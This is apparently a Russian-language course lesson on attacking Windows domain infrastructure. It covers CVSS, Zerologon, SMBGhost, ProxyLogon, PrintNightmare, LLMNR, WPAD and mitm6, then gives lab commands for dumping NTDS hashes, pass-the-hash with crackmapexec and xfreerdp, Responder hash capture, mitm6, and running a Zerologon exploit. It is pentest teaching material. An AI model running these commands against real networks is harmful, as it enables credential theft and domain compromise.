# Занятие по Windows №6. Базовые атаки и компроментация доменной Windows-инфраструктуры # Теория **Основные виды атак на инфраструктуру:** - Почтовый фишинг ![](https://i.imgur.com/oLwJ5of.png) - Вирусная программа на СНИ ![](https://i.imgur.com/Z08ajGm.png) - Проникновение на объект ![](https://i.imgur.com/weOw885.png) - Уязвимости систем ![](https://i.imgur.com/zeVP1XV.png) ## Что такое CVE? Это база данных общеизвестных уязвимостей информационной безопасности У каждой уязвимости есть: - **Номер**(CVE-2019-0708) - **Шкала критичности** (9.8 Critical) - **Вектор** (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - **Конкретный недостаток реализации**(CWE-416) - **Применимость**(CPE) - **Наличие исправлений или способы смягчения** *Шкала критичности*: * **Низкий уровень(0-5)** * **Средний уровень(6-7)** * **Высокий уровень(7-8)** * **Критический уровень(9-10)** *Метрики(CVSS):* Есть три вида метрик: * **Базовые метрики** - общие метрики для уязвимости без учета времени и контекста применимости * **Временные метрики** - учитывают реакцию производителя уязвимого продукта, которые изменяются с момента обнаружения уязвимости до момента ее исправления * **Контекстные метрики** - оперируют требованиями безопасности к системе, в которой работает уязвимый продукт **Калькулятор CVSS и метрики:** ![](https://i.imgur.com/BhibVEf.png) **Вектор атаки(AV):** ![](https://i.imgur.com/mxyUuHt.png) **Сложность атаки(AC)** ![](https://i.imgur.com/kb1k2Ct.png) **Уровень привелегий(PR)** ![](https://i.imgur.com/wUubaS9.png) **Взаимодействие с пользователем(UI)** ![](https://i.imgur.com/OVDmP8t.png) **Влияние на другие компоненты системы(S)** ![](https://i.imgur.com/b3Gbvq6.png) **Влияние на конфиденциальность(C)** ![](https://i.imgur.com/EPEpLBP.png) **Влияние на целостность(I)** ![](https://i.imgur.com/OtfDO5d.png) **Влияние на доступность(A)** ![](https://i.imgur.com/FkMl2ld.png) **Временные метрики ** ![](https://i.imgur.com/7AVKOKK.png) **Контекстные метрики** ![](https://i.imgur.com/hBrlGrJ.png) ## Актуальные уязвимости для инфраструктуры Windows ### Zerologon (CVE-2020-1472) Она позволяет неаутентифицированному злоумышленнику получить права администратора домена. Уязвимость представляет из себя ошибку реализации протокола шифрования AES-CFB8 ### SMBGhost (CVE-2020-0796) Представляет собой переполнение буфера на серверах Microsoft SMBv3. Она позволяет неавторизированному атакующему удаленно выполнить код на целевом сервере или клиенте. Открывает системы для атак по типу червя. ### Proxylogon (CVE-2021-26855,26858,27065,26857) Тип уязвимости - SSRF. Позволяет без аутентификации удаленно исполнять произвольные команды, получать права администратора и устанавливать вредоносное ПО. Она позволяет обьойти аутентификацию в MS Exchange и выдать себя за любого пользователя. ### PrintNightmare(CVE-2021-1675 и CVE-2021-34527) Уязвимость в диспетчере очереди печати. Отличия между номерами в том, что первая эксплуатируется только локально, а вторая удаленно. Тип уязвимости - RCE. Ошибка в коде приводит к недостаточной валидации ввода в ходе добавления нового принтера, в результате появляется возможность загрузить в систему вредоносный DLL-файл. ## Классические уязвимости Windows К ним относятся: * Path-the-hash * LLMNR * NBNS * WPAD * mitm6 ### Path-the-hash Позволяет атакующему авторизироваться на удаленном сервере, на котором аутентификация происходит с помощью NTLM или LM. Для аутентификации используется не пароль, а хэш пароля. И так как он передается без соли, хэши остаются неизменными от сессии к сессии(пока не изменится пароль). ### LLMNR Этот протокол используется для инициализации в локальной сети без dhcp сервера. Проблема этого протокола в том, что запрос разрешения имен посылается с помощью мультикаста. То клиент неяво доверяет всем, кто на него ответит. ### NetBIOS Этот протокол нужен для обнаружения комьютеров в сети, построенной на базе TCP/IP. Приложения могут найти через NetBIOS нужные им ресурсы, установить связь и послать или получить информацию. Использует для службы имен (NetBIOS-NS) порт 137, для службы дейтаграмм (NetBIOS-DGM) порт 138, а для службы (NetBIOS-SSN) порт 139. **Эксплуатаци LLMNR и NetBIOS:** ![](https://i.imgur.com/Iw4ejSP.png) ### WPAD **Web Proxy Auto-Discovery Protocol** - протокол автоматической настройки прокси, который используется браузером(клиентом) для определения расположения конфигурационного файла с использованием технологий DHCP и/или DNS. По умолчанию включен в IE(Internet Explorer) Windows. Если в DNS нет записи о WPAD-сервере, злоумышленник может ее подделать. То есть злоумышленник сможет перенаправлять запрос браузера через свой прокси-сервер. ## Эксплуатация контроллера домена ### Zerologon ![](https://i.imgur.com/TqWNVlA.png) Схема работы: ![](https://i.imgur.com/ZmFbv4J.png) Разберем подробнее: ![](https://i.imgur.com/7n6CqHL.png) ![](https://i.imgur.com/1oAaQqo.png) ![](https://i.imgur.com/AbLkZBo.png) ![](https://i.imgur.com/msjFu21.png) ![](https://i.imgur.com/gTl9iYn.png) ## Поиск следов компроментации ### Поиск информации в логах Каждая эксплуатация тех или иных уязвимостей приводит к генерации журналируемых событий. Поэтому факт эксплуатации системы можно обнаружить правильно выполнив поиск по id событий. Исследователи часто публикуют характерные следы эксплойтов в виде набора событий, идущих друг за другом, а SIEM система коррелирует такие события, выдавая оповещение в виде инцидента для специалиста центар мониторинга. ### Обнаружение атак в сетевом трафике # Практика Запускам CMD, далее программу **ntdsutil** для работы с ntds и ifm(install from media). После этого создадим бэкап командой create full C:\temp ![](https://i.imgur.com/DDelWgs.png) В папке C:\temp должно появиться две папки и два файла в каждой. Переходим на kali-linux и запускаем программу `smbclient '\\192.168.10.200\C$' -U pt/administrator` и вводим пароль администратора. Далее вводим сервисные команды такие как: `recurse ON prompt OFF` Укажем, куда будем загружать файлы на Кали `lcd /home/kali` И скачиваем папку `mget tmp` Выходим из smb `exit` Далее скачиваем impacket - это набор пентестерских утилит для тестирования небольшой AD. `git clone https://github.com/SecureAuthCorp/impacket` И устанавливает python: `apt install python3-pip` :::info Если не может найти этот пакет, сначала вводим команду `sudo apt update`. ::: В скачанной папке impacket в папке examples запускаем скрипт secretsdump.py: `python secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL` Таким образом мы получили хэши учетных записей. Допустим, что мы ничего не знаем о домене. В таком случае воспользуемся командой `crackmapexec smb 192.168.10.0/24`. Мы увидим вот такую картину: ![](https://i.imgur.com/Ge0TPRT.png) Попробуем теперь проэксплуатировать систему: `` crackmapexec smb 192.168.10.200 -u *имя пользователя* -H *хэш пользователя* -x *какую команду мы хотим выполнить* `` ![](https://i.imgur.com/AkKoeXC.png) А что если мы хотим подключиться к рабочему столу? На этот счет у Kali linux есть встроенная программа xfreerdp. Ее синтаксис: `xfreerdp /d:*имя домена* /u:*имя пользователя* /v:*ip-адрес* /pth:*NTLM хэш пользователя*` При попытке подключиться у нас показывается вот такая ошибка: ![](https://i.imgur.com/82X8Tbv.png) В Windows с помощью PowerShell-скрипта меняем параметры реестра: ![](https://i.imgur.com/pUqDN1C.png) Пробуем еще раз подключиться с Кали-линукс и мы получаем удаленный доступ. Далее вводим команду `responder -i eth0 -A` Этой командой мы слушаем данные в домене. Если пользователь ошибется при вводе пользователя в домене, то нам все покажется и, если бы была включена атака, на этот запрос ответил бы наш сниффер. Давайте включим атаку чтобы посмотреть, как это происходит: `responder -i eth0 -wFv` Если пользователь ошибется при вводе имени ресурса, то наша программа покажет вот такой результат: ![](https://i.imgur.com/DedpDiR.png) То есть мы получили NTLM хэш, который в дальнейшем можем брутфорсить. Далее рассмотрим атаку на протокол IPv6. Для этого на Кали установим mitm6 `pip install mitm6` Далее вводим команду `mitm6 -d pt.local` После этого открываем новый терминал и вводим там такую команду: `python3 smbserver.py -smb2support SMB /root/SMB` После этого мы увидим вот такой вывод программы: ![](https://i.imgur.com/nRmFerv.png) На Windows мы увидим вот такую ситуацию вместо оригинальной: ![](https://i.imgur.com/DBVaYbO.png) В данной атаке наш Kali Linux стал сервером для компьютеров в доменной сети. Данная атака достаточно серьезная, и на восстановление сети будет требоваться достаточно много времени. Данную атаку лучше не пробовать даже для тестов, так как она положит всю сеть. В логах включаем Audit Computer Account Properties. ![](https://i.imgur.com/gxqbcJn.png) В PowerShell вводим команду gpupadate для обновления групповой политики. Далее в самой Virtual Box делаем Snapshot системы, чтобы если что ее откатить. Далее в Kali Linux скачиваем Exploit для Zerologon: `git clone https://github.com/risksense/zerologon` Далее заходим в папку zerologon Для эксплуатации вводим в терминал команду: python3 set_empty_pw.py DC1 192.168.10.200 После этого используем скрипт secretsdump для подбора пароля. Синтаксис вот такой: `python3 secretsdump.py -hashes *полученный хэш* '*учетная запись*@*ip-адрес*'` В нашем случае эта команда выглядеть вот так: ![](https://i.imgur.com/wZ7Ri3S.png)